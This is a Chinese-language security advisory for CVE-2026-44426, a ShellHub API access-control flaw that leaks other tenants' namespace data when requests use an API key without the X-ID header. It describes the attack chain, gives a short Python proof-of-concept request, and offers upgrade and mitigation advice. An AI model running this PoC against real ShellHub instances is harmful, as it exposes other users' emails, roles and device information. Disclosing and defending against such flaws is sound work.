IPBUF安全漏洞报告
English
CVE-2026-44426 CVSS 6.5 中危

CVE-2026-44426 ShellHub越权信息泄露漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-44426
漏洞类型
信息泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ShellHub

相关标签

信息泄露越权访问ShellHubAPI安全Broken Access Control

漏洞概述

ShellHub在0.24.2版本之前的API接口存在访问控制缺陷。当使用API Key进行身份验证时,由于缺少用户标识(X-ID),系统会跳过成员身份检查。这导致攻击者可以利用API Key获取任意租户的完整命名空间对象,包含成员列表、设置和设备计数等敏感信息。

技术细节

该漏洞的根源在于ShellHub的GET /api/namespaces/:tenant端点处理逻辑中存在缺陷。正常情况下,访问特定租户信息需要验证请求者是否属于该租户。然而,该接口在处理请求时会检查是否存在用户ID(X-ID)。如果X-ID缺失(即使用API Key认证的场景),处理程序会条件性地跳过成员身份验证。攻击者只需持有任意有效的API Key,无需属于目标租户,即可构造请求访问该端点。服务器将返回目标租户的完整配置数据,导致严重的信息泄露和越权访问。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标ShellHub实例,并注册或获取一个合法的API Key(即使是低权限账户)。
STEP 2
步骤2:漏洞利用
攻击者使用获取的API Key,构造针对/api/namespaces/:tenant端点的GET请求,并在请求中故意不包含X-ID头部。
STEP 3
步骤3:数据窃取
由于后端跳过了权限校验,服务器返回目标租户的敏感信息,攻击者解析响应获取用户邮箱、角色和设备信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "https://<shellhub-host>/api/namespaces/<target_tenant_id>" attacker_api_key = "<attacker_api_key>" # Headers - Note that X-ID is absent, which triggers the vulnerability headers = { "Authorization": f"Bearer {attacker_api_key}", "Content-Type": "application/json" } try: # Send request to leak namespace data response = requests.get(target_url, headers=headers) if response.status_code == 200: print("[+] Exploit Successful!") print("[+] Leaked Data:") print(response.json()) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")

影响范围

ShellHub < 0.24.2

防御指南

临时缓解措施
建议立即将ShellHub升级到0.24.2版本以修复此漏洞。如果无法立即升级,应严格限制网络访问,仅允许可信IP地址访问API接口,并暂时禁用非必要的API Key。同时,管理员应检查日志,确认是否已有数据被非法访问,并重置可能泄露的API密钥。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表